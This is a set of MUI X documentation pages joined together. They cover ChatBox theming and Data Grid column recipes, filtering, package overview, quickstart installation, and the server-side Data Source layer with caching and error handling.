{{"demo": "../material/examples/multi-conversation/MultiConversation.js", "bg": "inline", "defaultCodeOpen": false, "hideToolbar": true}}

See [Conversation list](/x/react-chat/multi-conversation/conversation-list/) for the full feature documentation.

Only `adapter` is required—it must implement `sendMessage`.
`initialMessages`, `initialConversations`, and `initialActiveConversationId` are optional conveniences that pre-populate chat state on first render—the demo's welcome bubble comes from `initialMessages`.
If `features={{ conversationList: true }}` is enabled, the same conversation data also feeds the built-in conversation list.
Every other prop is optional.

## Theme integration

`ChatBox` reads `palette`, `typography`, `shape`, and `spacing` from the closest `ThemeProvider`.
No additional configuration is needed.

- User message bubbles use `palette.primary.main` as the background color
- Assistant bubbles use `palette.grey[100]` in light mode and `palette.grey[800]` in dark mode
- `typography.body2` governs message text
- `shape.borderRadius` controls bubble rounding
- `palette.divider` is used for borders and separators

Wrapping `ChatBox` in a `ThemeProvider` with custom values is enough to retheme the entire surface.
See [Look and feel—Theme component overrides](/x/react-chat/customization/look-and-feel/#theme-component-overrides) for details.

## TypeScript theme augmentation

To get autocomplete for style overrides in `createTheme`, import the augmentation side-effect:

```tsx
import { createTheme } from '@mui/material/styles';
import type {} from '@mui/x-chat/themeAugmentation';

const theme = createTheme({
  components: {
    MuiChatBox: {
      styleOverrides: {
        root: {
          // your overrides
        },
      },
    },
  },
});
```

## Next steps

- [Overview](/x/react-chat/) — what the Chat package covers and how it's organized
- [Components](/x/react-chat/all-components/) — every component the package ships
- [ChatBox](/x/react-chat/basics/chatbox/) — the full `ChatBox` feature walkthrough
- [Adapters](/x/react-chat/backend/adapters/) — connect the chat to your own API

## API

- [`ChatBox`](/x/api/chat/chat-box/)

## Using this documentation

### Feature availability

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
See [Licensing](/x/introduction/licensing/) for details.
:::

Throughout the documentation, Pro- and Premium-only features are denoted with the [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icons, respectively.

All documentation for Community components and features also applies to their Pro and Premium counterparts.

---

### Data Data Grid Column Recipes Index (`docs/data/data-grid/column-recipes/index.md`)

---
title: Data Grid - Column recipes
---

# Data Grid - Column customization recipes

<p class="description">Advanced column customization recipes.</p>

## Persisting column width and order

When the `columns` prop reference is updated, the column width and order is reset to the `colDef.width` and the order of the `colDef` object and any updates will be lost.
This is because the Data Grid considers update of the columns prop as a new set of columns, and the previous state is discarded.

To persist the column width and order when the `columns` prop is updated, consider persisting the state of the columns in the userland.

{{"demo": "ColumnSizingPersistWidthOrder.js", "disableAd": true, "bg": "inline"}}

:::warning
[Column ordering](/x/react-data-grid/column-ordering/) is a Pro feature, to use it you must be on a Pro or Premium plan.
:::

### With pivoting [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Pivoting creates columns dynamically, based on the pivoting model and the row data.

To keep the column width of the pivoted grid after `columns` reference is changed, use [`groupingColDef`](/x/api/data-grid/data-grid-premium/#data-grid-premium-prop-groupingColDef) and [`pivotingColDef`](/x/api/data-grid/data-grid-premium/#data-grid-premium-prop-pivotingColDef) props to apply the width updates to the autogenerated columns.

The demo below uses modified version of the `useColumnsState()` from the previous example in combination with a callbacks for grouping and pivoting columns.

{{"demo": "ColumnSizingPersistWidthPivoting.js", "disableAd": true, "bg": "inline"}}

## Custom long text popup content

The default rendered cell of the `longText` column type uses `GridLongTextCell` component to show the popup with the full text content when the expand button is clicked. To customize the popup content, use the `renderContent` prop of the `GridLongTextCell` component.

The example below demonstrates two customizations:

- **Character count**: Shows character count below the text
- **Markdown preview**: Renders markdown content as formatted HTML

{{"demo": "LongTextCustomPopupContent.js", "disableAd": true, "bg": "inline"}}

## Custom multi-select chips [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

To customize the chip appearance, customize the cell with the `GridMultiSelectCell` and `GridEditMultiSelectCell` components. Pass a function to `slotProps.chip` to derive chip props from each value.

The demo below shows two customizations:

- **Colored chips**: maps each tag to a different chip color
- **Avatar chips**: adds an avatar to each assignee chip

{{"demo": "MultiSelectCustomChips.js", "disableAd": true, "bg": "inline"}}

---

### Data Data Grid Filtering Index (`docs/data/data-grid/filtering/index.md`)

# Data Grid - Filtering

<p class="description">Easily filter your rows based on one or several criteria.</p>

The filters can be modified through the Data Grid interface in several ways:

- By opening the column menu and clicking the _Filter_ menu item.
- By clicking the _Filters_ button in the Data Grid toolbar (if enabled).

Each column type has its own filter operators.
The demo below lets you explore all the operators for each built-in column type.

_See [the dedicated section](/x/react-data-grid/filtering/customization/) to learn how to create your own custom filter operator._

{{"demo": "BasicExampleDataGrid.js", "bg": "inline", "defaultCodeOpen": false}}

## Single and multi-filters

:::warning
The Data Grid can only filter rows according to one criterion at a time.

To use [multi-filters](/x/react-data-grid/filtering/multi-filters/), you need to upgrade to the [Pro plan](/x/introduction/licensing/#pro-plan) or above.
:::

## Pass filters to the Data Grid

### Structure of the model

The full typing details can be found on the [GridFilterModel API page](/x/api/data-grid/grid-filter-model/).

The filter model is composed of a list of `items` and a `logicOperator`:

#### The `items`

A filter item represents a filtering rule and is composed of several elements:

- `filterItem.field`: the field on which the rule applies.
- `filterItem.value`: the value to look for.
- `filterItem.operator`: name of the operator method to use (for example _contains_), matches the `value` key of the operator object.
- `filterItem.id` ([<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')): required when multiple filter items are used.

:::info
Some operators do not need any value (for instance the `isEmpty` operator of the `string` column).
:::

#### The `logicOperator` [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The `logicOperator` tells the Data Grid if a row should satisfy all (`AND`) filter items or at least one (`OR`) in order to be considered valid.

```ts
// Example 1: get rows with rating > 4 OR isAdmin = true
const filterModel: GridFilterModel = {
  items: [
    { id: 1, field: 'rating', operator: '>', value: '4' },
    { id: 2, field: 'isAdmin', operator: 'is', value: 'true' },
  ],
  logicOperator: GridLogicOperator.Or,
};

// Example 2: get rows with rating > 4 AND isAdmin = true
const filterModel: GridFilterModel = {
  items: [
    { id: 1, field: 'rating', operator: '>', value: '4' },
    { id: 2, field: 'isAdmin', operator: 'is', value: 'true' },
  ],
  logicOperator: GridLogicOperator.And,
};
```

If no `logicOperator` is provided, the Data Grid will use `GridLogicOperator.And` by default. When the operator is left unchanged in the UI, `onFilterModelChange` can still omit it, so treat an undefined value as `GridLogicOperator.And`.

### Initialize the filters

To initialize the filters without controlling them, provide the model to the `initialState` prop.

```jsx
<DataGrid
  initialState={{
    filter: {
      filterModel: {
        items: [{ field: 'rating', operator: '>', value: '2.5' }],
      },
    },
  }}
/>
```

{{"demo": "InitialFilters.js", "bg": "inline", "defaultCodeOpen": false}}

### Controlled filters

Use the `filterModel` prop to control the filter applied on the rows.

You can use the `onFilterModelChange` prop to listen to changes to the filters and update the prop accordingly.

```jsx
<DataGrid
  filterModel={{
    items: [{ field: 'rating', operator: '>', value: '2.5' }],
  }}
/>
```

{{"demo": "ControlledFilters.js", "bg": "inline", "defaultCodeOpen": false}}

## Disable the filters

### For all columns

Filters are enabled by default, but you can easily disable this feature by setting the `disableColumnFilter` prop.

```jsx
<DataGrid disableColumnFilter />
```

{{"demo": "DisableFilteringGridAllColumns.js", "bg": "inline", "defaultCodeOpen": false}}

### For some columns

To disable the filter of a single column, set the `filterable` property in `GridColDef` to `false`.

In the example below, the _rating_ column cannot be filtered.

```js
<DataGrid columns={[...columns, { field: 'rating', filterable: false }]} />
```

{{"demo": "DisableFilteringGridSomeColumns.js", "bg": "inline", "defaultCodeOpen": false}}

### Filter non-filterable columns programmatically

You can initialize the `filterModel`, set the `filterModel` prop, or use the API method `apiRef.current.setFilterModel` to set the filters for non-filterable columns. These filters will be applied but will be read-only on the UI and the user won't be able to change them.

```jsx
const columns = [
  { field: 'name', filterable: false },
  ...otherColumns,
]

<DataGrid
  filterModel={{
    items: [{ field: 'name', operator: 'contains', value: 'a' }],
  }}
  columns={columns}
/>
```

{{"demo": "ReadOnlyFilters.js", "bg": "inline", "defaultCodeOpen": false}}

## Ignore diacritics (accents)

When filtering, diacritics—accented letters such as _é_ or _à_—are considered distinct from their standard counterparts (_e_ and _a_).
This can lead to a poor experience when users expect them to be treated as equivalent.

If your dataset includes diacritics that need to be ignored, you can pass the `ignoreDiacritics` prop to the Data Grid:

```tsx
<DataGrid ignoreDiacritics />
```

:::info
The `ignoreDiacritics` prop affects all columns and filter types, including [standard filters](/x/react-data-grid/filtering/), [quick filters](/x/react-data-grid/filtering/quick-filter/), and [header filters](/x/react-data-grid/filtering/header-filters/).
:::

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the filtering feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

{{"demo": "FilterApiNoSnap.js", "bg": "inline", "hideToolbar": true}}

## Selectors

{{"component": "modules/components/SelectorsDocs.js", "category": "Filtering"}}

More information about the selectors and how to use them on the [dedicated page](/x/react-data-grid/state/#access-the-state)

## API

- [GridFilterForm](/x/api/data-grid/grid-filter-form/)
- [GridFilterItem](/x/api/data-grid/grid-filter-item/)
- [GridFilterModel](/x/api/data-grid/grid-filter-model/)
- [GridFilterOperator](/x/api/data-grid/grid-filter-operator/)
- [GridFilterPanel](/x/api/data-grid/grid-filter-panel/)
- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

### Data Data Grid Overview Overview (`docs/data/data-grid/overview/overview.md`)

---
title: React Data Grid component
githubLabel: 'scope: data grid'
packageName: '@mui/x-data-grid'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/grid/
---

# MUI X Data Grid

<p class="description">A fast and extensible React data table and React data grid, with filtering, sorting, aggregation, and more.</p>

{{"component": "@mui/internal-core-docs/ComponentLinkHeader"}}

## Overview

The MUI X Data Grid is a TypeScript-based React component that presents information in a structured format of rows and columns.
It provides developers with an intuitive API for implementing complex use cases; and end users with a smooth experience for manipulating an unlimited set of data.

The Grid's theming features are designed to be frictionless when integrating with Material UI and other MUI X components, but it can also stand on its own and be customized to meet the needs of any design system.

## Why choose the MUI X Data Grid?

There are numerous solutions available for building a data table, each with distinct trade-offs and design philosophies.
The MUI X Data Grid is built specifically for React, offering a batteries-included solution with a fully styled, accessible user interface out of the box.
Unlike headless table libraries, you can start building immediately without implementing UI components yourself, while still maintaining full customization capabilities through theming and component composition.

### Comparison with AG Grid

AG Grid is a framework-agnostic solution that supports React, Vue, and Angular.
Here's how the MUI X Data Grid differs:

- **React-first design**: MUI X Data Grid is built exclusively for React with hooks, TypeScript, and React patterns at its core, providing a more idiomatic React experience
- **Material UI integration**: MUI X Data Grid integrates seamlessly with Material UI's design system and theming, allowing you to maintain visual consistency across your application
- **Component composition**: MUI X Data Grid's highly composable architecture lets you customize individual parts while maintaining the full-featured grid experience

### Comparison with TanStack Table

TanStack Table (formerly React Table) is a headless table library that provides table logic without any UI.
Here's how the MUI X Data Grid differs:

- **Complete UI included**: MUI X Data Grid provides fully styled, accessible components ready to use immediately—no need to build your own table UI, filters, or pagination controls
- **Built-in features**: MUI X Data Grid comes with advanced features like editing, filtering, sorting, and virtualization pre-implemented with polished user interfaces
- **Less boilerplate**: MUI X Data Grid gives you a production-ready data grid with minimal setup, rather than wiring together multiple libraries and building custom components

## Data Grid packages

The Data Grid is **open-core**: The Community version is MIT-licensed and free forever, while more advanced features require a Pro or Premium commercial license.
See [MUI X Licensing](/x/introduction/licensing/) for complete details.

### Community version (free forever)

```js
import { DataGrid } from '@mui/x-data-grid';
```

The MIT-licensed Community version of the Data Grid is a more sophisticated implementation of the [Material UI Table](/material-ui/react-table/).

It includes all of the main features listed in the navigation menu, such as editing, sorting, filtering, and pagination, as shown in the demo below:

{{"demo": "DataGridDemo.js", "defaultCodeOpen": false, "bg": "inline"}}

### Pro version [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

```js
import { DataGridPro } from '@mui/x-data-grid-pro';
```

The Pro plan expands on the Community version with features like advanced filtering, column pinning, column and row reordering, support for tree data, and virtualization to handle larger datasets.
Pro features are denoted by the blue cube icon (<span class="plan-pro"></span>) throughout the documentation.

The demo below displays 31 columns and 100,000 rows—over three million cells in total:

{{"demo": "DataGridProDemo.js", "defaultCodeOpen": false, "disableAd": true, "bg": "inline"}}

### Premium version [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

```js
import { DataGridPremium } from '@mui/x-data-grid-premium';
```

The Premium plan includes everything from the Pro plan as well as more advanced features for data analysis and large dataset management, such as row grouping with aggregation functions (like sum and average) and the ability to export to Excel files.
Premium features are denoted by the golden cube icon (<span class="plan-premium"></span>) throughout the documentation.

The demo below groups rows by commodity name, and uses an aggregation function to calculate the sum of quantities for each group and in total (displayed in a summary row).
You can experiment with grouping other columns in the column header menus.
You can also try exporting to Excel, and copying and pasting data to and from Excel tables.

{{"demo": "DataGridPremiumDemo.js", "defaultCodeOpen": false, "disableAd": true, "bg": "inline"}}

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

### Data Data Grid Quickstart Quickstart (`docs/data/data-grid/quickstart/quickstart.md`)

# Data Grid - Quickstart

<p class="description">Install the MUI X Data Grid package and start building your React data table.</p>

## Installation

Install the Data Grid package that best suits your needs—Community, Pro, or Premium:

{{"component": "modules/components/DataGridInstallationInstructions.js"}}

:::success
Not sure which package to choose?
You can start with the Community version and upgrade to Pro or Premium at any time.
Check out the [Feature showcase](/x/react-data-grid/features/) for a list of features available in each package.
:::

### Peer dependencies

#### Material UI

The Data Grid packages have a peer dependency on `@mui/material`.
If you're not already using it, install it now:

<codeblock storageKey="package-manager">

```bash npm
npm install @mui/material @emotion/react @emotion/styled
```

```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```

```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```

</codeblock>

#### React



[`react`](https://www.npmjs.com/package/react) and [`react-dom`](https://www.npmjs.com/package/react-dom) are also peer dependencies:

```json
"peerDependencies": {
  "react": "^17.0.0 || ^18.0.0 || ^19.0.0",
  "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0"
},
```

## Rendering a Data Grid

### Import the component

Import the Data Grid component that corresponds to the version you're using, along with the `GridRowsProp` and `GridColDef` utilities:

```js
// choose one
import { DataGrid, GridRowsProp, GridColDef } from '@mui/x-data-grid';
import { DataGridPro, GridRowsProp, GridColDef } from '@mui/x-data-grid-pro';
import { DataGridPremium, GridRowsProp, GridColDef } from '@mui/x-data-grid-premium';
```

### Define rows

Each row in the Data Grid is an object with key-value pairs that correspond to the column and its value, respectively.
You should provide an `id` property for delta updates and improved performance.

The code snippet below defines three rows with values assigned to the `name` and `description` columns for each:

```tsx
const rows: GridRowsProp = [
  { id: 1, name: 'Data Grid', description: 'the Community version' },
  { id: 2, name: 'Data Grid Pro', description: 'the Pro version' },
  { id: 3, name: 'Data Grid Premium', description: 'the Premium version' },
];
```

### Define columns

Each column in the Data Grid is an object with attributes defined in the `GridColDef` interface—you can import this interface to see all available properties.
The `headerName` property sets the name of the column, and the `field` property maps the column to its corresponding row values.

The snippet below builds on the code from the previous section to define the `name` and `description` columns referenced in the row definitions:

```tsx
const columns: GridColDef[] = [
  { field: 'name', headerName: 'Product Name', width: 200 },
  { field: 'description', headerName: 'Description', width: 300 },
];
```

### Render the component

With the component and utilities imported, and rows and columns defined, you're now ready to render the Data Grid as shown below:

{{"demo": "RenderComponent.js", "defaultCodeOpen": true, "bg": "inline"}}

:::warning
You must set [intrinsic dimensions](/x/react-data-grid/layout/) on the Data Grid's parent container.
:::

## TypeScript

### Theme augmentation

To benefit from [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users must import the following types.
These types use module augmentation to extend the default theme structure.

```tsx
// Pro and Premium users: add `-pro` or `-premium` suffix to package name
import type {} from '@mui/x-data-grid/themeAugmentation';

const theme = createTheme({
  components: {
    // Use `MuiDataGrid` on DataGrid, DataGridPro and DataGridPremium
    MuiDataGrid: {
      styleOverrides: {
        root: {
          backgroundColor: 'red',
        },
      },
    },
  },
});
```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

## Using this documentation

### Feature availability

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
See [Licensing](/x/introduction/licensing/) for details.
:::

Throughout the documentation, Pro- and Premium-only features are denoted with the [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icons, respectively.

All documentation for Community components and features also applies to their Pro and Premium counterparts.

### @mui/x-data-grid-generator

**The `@mui/x-data-grid-generator` is a development-only package and should not be used in production.**
You can use it to create a reproduction of a bug or generate demo data in your development environment.
You should not rely on its API—it doesn't follow semver.

### `useDemoData()` hook

The `useDemoData()` hook is a utility hook from the `@mui/x-data-grid-generator` package, used in demos throughout this documentation to provide realistic data without polluting the code with data generation logic.
It contains column definitions and generates random data for the Data Grid.
For more details on these definitions and the custom cell renderers available, see the [custom columns demo](/x/react-data-grid/custom-columns/#full-example) where you can copy them from the demo source code.

Here's how it's used:

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function Demo() {
  const { data } = useDemoData({ dataSet: 'Commodity', rowLength: 100 });

  return <DataGrid {...data} />;
}
```

It comes with two datasets: `Commodity` and `Employee`.
You can customize the data generation by passing the custom options of type [`UseDemoDataOptions`](https://github.com/mui/mui-x/blob/6aad22644ee710690b90dc2ac6bbafceb91fecf0/packages/x-data-grid-generator/src/hooks/useDemoData.ts#L29-L36).

---

### Data Data Grid Server Side Data Index (`docs/data/data-grid/server-side-data/index.md`)

# Data Grid - Server-side data

<p class="description">Learn how to work with server-side data in the Data Grid using the Data Source layer.</p>

## Introduction

Server-side data management in React can become complex with growing datasets.
Challenges include manual data fetching, pagination, sorting, filtering, and performance optimization.
A dedicated module can help abstract these complexities to improve the developer experience.
The Data Grid provides the Data Source layer for this purpose.

:::success
If you prefer to learn by example, the [server-side data tutorial](/x/react-data-grid/tutorials/server-side-data/) shows you how to implement the Data Source layer in a full-stack app.
:::

### The problem: compounding complexity

Consider a Data Grid displaying a list of users that supports pagination, sorting by column headers, and filtering.
The Data Grid fetches data from the server when the user changes the page or updates filtering or sorting.
Here's an example of what that might look like:

```tsx
const [rows, setRows] = React.useState([]);
const [paginationModel, setPaginationModel] = React.useState({
  page: 0,
  pageSize: 10,
});
const [filterModel, setFilterModel] = React.useState({ items: [] });
const [sortModel, setSortModel] = React.useState([]);

React.useEffect(() => {
  const fetcher = async () => {
    // fetch data from server
    const data = await fetch('https://my-api.com/data', {
      method: 'GET',
      body: JSON.stringify({
        page: paginationModel.page,
        pageSize: paginationModel.pageSize,
        sortModel,
        filterModel,
      }),
    });
    setRows(data.rows);
  };
  fetcher();
}, [paginationModel, sortModel, filterModel]);

<DataGrid
  columns={columns}
  pagination
  sortingMode="server"
  filterMode="server"
  paginationMode="server"
  onPaginationModelChange={setPaginationModel}
  onSortModelChange={setSortModel}
  onFilterModelChange={setFilterModel}
/>;
```

But this example only scratches the surface of the complexity when working with server-side data in the Data Grid—the following features are still not addressed:

- Performance optimization
- Data caching and request deduping
- Row grouping and tree data
- Lazy-loading data
- Handling updates to the data (row editing and deletion)
- On-demand data refetching

Trying to tackle each of these features individually can make the code overly complex and difficult to maintain.

### The solution: the Data Source layer

For the Data Grid, the solution to the situation described above is a centralized abstraction layer called the Data Source.
This provides an interface for communications between the Data Grid on the client and the actual data on the server.

The Data Source has an initial set of required methods that you must implement.
The Data Grid uses these methods internally to fetch subsets of data as needed.

The following code snippet illustrates a minimal `GridDataSource` interface configuration.
More complex implementations with properties like `getChildrenCount()` and `getGroupKey()` are discussed in the specific server-side feature docs that follow this introductory page.

```tsx
interface GridDataSource {
  /**
   * This method is called when the grid needs to fetch rows.
   * @param {GridGetRowsParams} params The parameters required to fetch the rows.
   * @returns {Promise<GridGetRowsResponse>} A promise that resolves to the data of
   * type [GridGetRowsResponse].
   */
  getRows(params: GridGetRowsParams): Promise<GridGetRowsResponse>;
}
```

Here's what the component from [the aforementioned problem](#the-problem-compounding-complexity) looks like when implemented with the Data Source:

```tsx
const customDataSource: GridDataSource = {
  getRows: async (params: GridGetRowsParams): GetRowsResponse => {
    const response = await fetch('https://my-api.com/data', {
      method: 'GET',
      body: JSON.stringify(params),
    });
    const data = await response.json();

    return {
      rows: data.rows,
      rowCount: data.totalCount,
    };
  },
}

<DataGrid
  columns={columns}
  dataSource={customDataSource}
  pagination
/>
```

With the Data Source, the total amount of code is significantly reduced; there's no need to manage controlled states; and data fetching logic is centralized.

## Server-side filtering, sorting, and pagination

The Data Source changes how existing server-side features like filtering, sorting, and pagination work.

### Without the Data Source (default behavior)

Without the Data Source implemented, features like filtering, sorting, pagination are designed to work on the client side by default.

To work correctly with server-side data, you must explicitly set these features to `"server"` mode and provide the [`onFilterModelChange()`](/x/react-data-grid/filtering/server-side/), [`onSortModelChange()`](/x/react-data-grid/sorting/#server-side-sorting), and [`onPaginationModelChange()`](/x/react-data-grid/pagination/#server-side-pagination) event handlers to fetch the data from the server based on the updated variables, as shown below:

```tsx
<DataGrid
  columns={columns}
  rows={rows}
  pagination
  sortingMode="server"
  filterMode="server"
  paginationMode="server"
  onPaginationModelChange={(newPaginationModel) => {
    // fetch data from server
  }}
  onSortModelChange={(newSortModel) => {
    // fetch data from server
  }}
  onFilterModelChange={(newFilterModel) => {
    // fetch data from server
  }}
/>
```

### With the Data Source

With the Data Source implemented, features like filtering, sorting, and pagination are automatically set to `"server"` mode.
When the corresponding models update, the Data Grid calls the `getRows()` method with the updated values of type `GridGetRowsParams` to get updated data.

```tsx
<DataGrid
  columns={columns}
  // automatically sets `sortingMode="server"`, `filterMode="server"`, `paginationMode="server"`
  dataSource={customDataSource}
/>
```

The following demo showcases this behavior.

{{"demo": "ServerSideDataGrid.js", "bg": "inline"}}

:::info
The Data Source demos use a `useMockServer()` utility function to simulate server-side data fetching.
In a real-world scenario you would replace this with your own server-side data-fetching logic.

Open the Info section of your browser console to see the requests being made and the data being fetched in response.
:::

### Keep previous data while fetching

By default, the Data Grid clears the visible rows and shows a loading overlay while it fetches new data after pagination, sorting, or filtering changes.
Pass the `dataSourceKeepPreviousData` prop to keep the previously displayed rows visible until the next response arrives.
The loading overlay is rendered on top of the previous rows, which prevents the grid height from collapsing between pages.

{{"demo": "ServerSideDataGridKeepPreviousData.js", "bg": "inline"}}

If the request fails, the previous rows are reset, because they no longer match the pagination, sorting, and filtering controls, which already reflect the failed request.
Handle the error through the [`onDataSourceError`](/x/react-data-grid/server-side-data/#error-handling) callback.

:::warning
`dataSourceKeepPreviousData` only applies to flat data.
For [tree data](/x/react-data-grid/server-side-data/tree-data/) and [row grouping](/x/react-data-grid/server-side-data/row-grouping/), the Data Grid always resets the rows on refetch—otherwise the existing tree would be merged on top of the new response and rows could render in stale order ([#21619](https://github.com/mui/mui-x/pull/21619)).
:::

## Data caching

The Data Source caches fetched data by default.
This means that if the user navigates to a page or expands a node that has already been fetched, the Grid will not call the `getRows()` function again to avoid unnecessary calls to the server.

By default, the Grid uses `GridDataSourceCacheDefault`, which is a simple in-memory cache that stores the data in a plain object.
You can see it working in the [Data Source demo above](#with-the-data-source).

### Improve the cache hit rate

To increase the cache hit rate, the Data Grid splits `getRows()` results into chunks before storing them in the cache.
For the requests that follow, chunks are combined as needed to recreate the response.
This means that a single request can make multiple calls to the `get()` or `set()` method of `GridDataSourceCache`.

Chunk size is the lowest expected amount of records per request based on the `pageSize` value from the `paginationModel` and `pageSizeOptions` props.
As a result, the values in the `pageSizeOptions` prop play an important role in the cache hit rate.
We recommend using values that are multiples of the lowest value—even better if each subsequent value is a multiple of the previous value.

Here are some examples:

- **Best-case scenario** – `pageSizeOptions={[5, 10, 50, 100]}`

  In this case the chunk size is 5, which means that with `pageSize={100}` there are 20 cache records stored.
  Retrieving data for any other `pageSize` up to the first 100 records results in a cache hit, since the whole dataset can be made of the existing chunks.

- **Parts of the data missing** – `pageSizeOptions={[10, 20, 50]}`

  Loading the first page with `pageSize={50}` results in 5 cache records.
  This works well with `pageSize={10}`, but not as well with `pageSize={20}`.
  Loading the third page with `pageSize={20}` results in a new request being made, even though half of the data is already in the cache.

- **Incompatible page sizes** – `pageSizeOptions={[7, 15, 40]}`

  In this situation, the chunk size is 7.
  Retrieving the first page with `pageSize={15}` creates chunks split into `[7, 7, 1]` records.
  Loading the second page creates three new chunks (again `[7, 7, 1]`), but now the third chunk from the first request has an overlap of 1 record with the first chunk of the second request.
  These chunks with 1 record can only be used as the last piece of a request for `pageSize={15}` and are useless in all other cases.

In the examples above, `sortModel` and `filterModel` remain unchanged.
Changing these would require a new response to be retrieved and stored in the chunks.

### Customize the cache lifetime

The `GridDataSourceCacheDefault` has a default time to live (TTL) of 5 minutes.
To customize this, pass the `ttl` option with a numerical value (in milliseconds) to the `GridDataSourceCacheDefault` constructor, then pass that to the `dataSourceCache` prop.

```tsx
import { GridDataSourceCacheDefault } from '@mui/x-data-grid';

const lowTTLCache = new GridDataSourceCacheDefault({ ttl: 1000 * 10 }); // 10 seconds

<DataGrid
  columns={columns}
  dataSource={customDataSource}
  dataSourceCache={lowTTLCache}
/>;
```

{{"demo": "ServerSideDataGridTTL.js", "bg": "inline"}}

### Create a custom cache

Use the `dataSourceCache` prop to provide a custom cache, which may be written from scratch or based on a third-party cache library.
This prop accepts a generic interface of type `GridDataSourceCache`.

```tsx
export interface GridDataSourceCache {
  set: (key: GridGetRowsParams, value: GridGetRowsResponse) => void;
  get: (key: GridGetRowsParams) => GridGetRowsResponse | undefined;
  clear: () => void;
}
```

### Disable caching

To disable the Data Source cache, pass `null` to the `dataSourceCache` prop.

```tsx
<DataGrid columns={columns} dataSource={customDataSource} dataSourceCache={null} />
```

{{"demo": "ServerSideDataGridNoCache.js", "bg": "inline"}}

:::success
To bypass the cache and force refetch rows from the server with a single `dataSource.fetchRows()` API method call, pass `skipCache` flag to the fetch options:

```tsx
apiRef.current.dataSource.fetchRows(GRID_ROOT_GROUP_ID, { skipCache: true });
```

The response will be used to refresh the cache.
:::

### Handle dynamic data updates

To keep retrieving new values for the dynamic server-side data, use the `dataSourceRevalidateMs` prop.
This starts a polling timer that revalidates the current server-side query in the background and updates the Data Grid with the latest data.

The demo below uses `dataSourceRevalidateMs="2_000"` and disables the cache to make the periodic updates visible.

{{"demo": "ServerSideDataGridRevalidation.js", "bg": "inline"}}

## Updating server-side data

The Data Source supports an optional `updateRow()` method for updating data on the server.

This method returns a promise that either resolves with the updated row, or else rejects if there's an update error.
If the promise resolves, the Grid updates the row and mutates the cache.
If there's an error, `onDataSourceError()` is triggered with the error object containing the params described in the [Error handling section](#error-handling) that follows.

```diff
 const dataSource: GridDataSource = {
  getRows: async (params: GridGetRowsParams) => {
    // fetch rows from the server
  },
+ updateRow: async (params: GridUpdateRowParams) => {
+   // update row on the server
+ },
 }
```

{{"demo": "ServerSideEditing.js", "bg": "inline"}}

### Replacing the row instead of merging it

The resolved row is merged into the existing one, which produces a new object.
To store the resolved row as-is instead, resolve with a [row replacement](/x/react-data-grid/row-updates/#replacing-a-row-instead-of-merging-it).
Use it when rows are class instances whose prototype chain, `#private` fields, or object identity must survive the update:

```ts
const dataSource: GridDataSource = {
  getRows: async (params: GridGetRowsParams) => {
    // fetch rows from the server
  },
  updateRow: async (params: GridUpdateRowParams) => {
    const response = await updateRowOnServer(params.updatedRow);
    return { _action: 'replace', row: MyRowClass.fromJSON(response) };
  },
};
```

In this case, `apiRef.current.getRow(id)` returns the very instance provided in `row`.
The rows resolved by `getRows()` are always stored as-is, so this keeps editing consistent with the initial fetch.

:::warning
When using the `updateRow()` method, the Data Source cache is automatically cleared after successful updates to prevent displaying outdated data.
This means any previously cached data will be refetched on the next request.

For applications that require caching with editing operations, consider implementing server-side caching instead.

If you have a specific use case that requires preserving the client-side cache during edit operations, please [open an issue on GitHub](https://github.com/mui/mui-x/issues/new/choose) to help us understand your requirements.
:::

:::warning
The position and visibility of the edited row on the current page are maintained—even if features like sorting or filtering are enabled—and will take affect on the row after the values update.
Any changes to the position or visibility will be applied when the page is fetched again.

You can manually trigger a refetch by calling the `dataSource.fetchRows()` API method.
:::

## Error handling

You can handle errors with the Data Source by providing an error handler function with `onDataSourceError()`.
This gets called whenever there's an error in fetching or updating the data.
This function receives an error object of type `GridGetRowsError | GridUpdateRowError`.
Each error type has a corresponding `error.params` type which is passed as an argument to the callback:

| **Error type**       | `error.params` **type** |
| :------------------- | :---------------------- |
| `GridGetRowsError`   | `GridGetRowsParams`     |
| `GridUpdateRowError` | `GridUpdateRowParams`   |

```tsx
<DataGrid
  columns={columns}
  dataSource={customDataSource}
  onDataSourceError={(error) => {
    if (error instanceof GridGetRowsError) {
      // `error.params` is of type `GridGetRowsParams`
      // fetch related logic, e.g set an overlay state
    }
    if (error instanceof GridUpdateRowError) {
      // `error.params` is of type `GridUpdateRowParams`
      // update related logic, e.g set a snackbar state
    }
  }}
/>
```

